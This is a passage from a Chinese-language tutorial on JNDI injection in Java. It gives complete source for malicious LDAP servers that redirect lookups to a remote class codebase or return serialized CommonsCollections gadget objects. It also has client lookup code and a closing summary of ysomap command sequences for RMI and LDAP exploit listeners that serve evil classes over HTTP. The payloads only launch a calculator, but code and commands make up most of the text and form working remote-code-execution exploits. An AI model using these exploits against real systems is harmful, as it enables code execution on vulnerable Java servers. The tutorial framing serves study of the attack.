port = Integer.parseInt(args[ 1 ]);
}
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
最后在客户端发起查询,远程类被加载后会弹出计算器。
public class MainLDAP {
public static void main(String[] args) throws Exception {
// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
Context ctx = new InitialContext();
ctx.lookup("ldap://localhost:1389/Foo");
ctx.close();
}
}
jdk 版本 11.0.1、8u191、7u201、6u211 时加入了 com.sun.jndi.rmi.object.trustURLCodebase 的限制。只有将 com.sun.jndi.rmi.object.trustURLCodebase 设置。
SerializedData 反序列化利用(通用)
反序列化利用链非常好理解,deserializeObject 方法内部直接调用了 readObject 方法,构造恶意 LDAP 服务器时,也可以在 marshalsec/src/main/java/marshalsec/jndi/LDAPRefServer.java at master · mbechler/marshalsec · GitHub 的基础之上进行修改。
代码如下:
public class AttackWithSerializedData {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] argx ) {
int port = 1389;
String[] args = new String[]{"http://192.168.137.98:5000/#Test"};
if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
System.err.println(AttackWithReference.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
System.exit(-1);
}
else if ( args.length > 1 ) {
port = Integer.parseInt(args[ 1 ]);
}
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new AttackWithSerializedData.OperationInterceptor(new URL(args[0])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
*
*/
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
*
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaSerializedData", SerializeUtils.serialize(new CC6().getPocObject("mate-calc")));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
其中,SerializeUtils.serialize 用于将对象序列化得到 bytes 数组:
public static byte[] serialize(Object o) throws Exception{
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(o);
oos.close();
bos.close();
return bos.toByteArray();
}
LDAP 反序列化并未受到 jdk 版本限制,但需要目标含有反序列化利用链。
EXP 汇总
JNDI RMI 反序列化(通用
使用 ysomap 中的 JRMPListener:
use exploit RMIListener
use payload CommonsCollections5
use bullet TransformerWithTemplatesImplBullet
set lport 12345
set args "mate-calc"
run
JNDI RMI Reference(jdk < 8u121)
使用 ysomap 中的 RMIListener:
use exploit SimpleHTTPServer
use payload EvilFileWrapper
use bullet ClassWithEvilConstructor
set lport 8082
set path /EvilObj.class
set classname EvilObj
set body "mate-calc"
set type class
run
use exploit RMIListener
use payload JNDIRefWrapper
use bullet JNDIRefBullet
#set lhost 127.0.0.1
set lport 1099
#set objectName EvilObj
set factoryName EvilObj
set factoryURL http://127.0.0.1:8082/
run
JNDI RMI Reference 远程类加载(高版本 jdk)
新版本 Tomcat 失效。
使用 RMIListener
use exploit RMIListener
use payload JNDIRefWrapper
use bullet TomcatRefBullet
set lport 1099
set type cmd
set body "mate-calc"
run
JNDI LDAP Reference(jdk < 8u191)
使用 ysomap 中的 LDAPRefListener
use exploit SimpleHTTPServer
use payload EvilFileWrapper
use bullet ClassWithEvilConstructor
set lport 8081
set path /EvilObj.class
set classname EvilObj
set body "mate-calc"
set type class
run
use exploit LDAPRefListener
set lport 1389
set codebase http://localhost:8081/
set objectName EvilObj
run
JNDI LDAP SerializedData(通用)
使用 ysomap 中的 LDAPLocalChainListener
use exploit LDAPLocalChainListener
use payload CommonsCollections5
use bullet TransformerWithTemplatesImplBullet
set lport 1389
set args "mate-calc"
run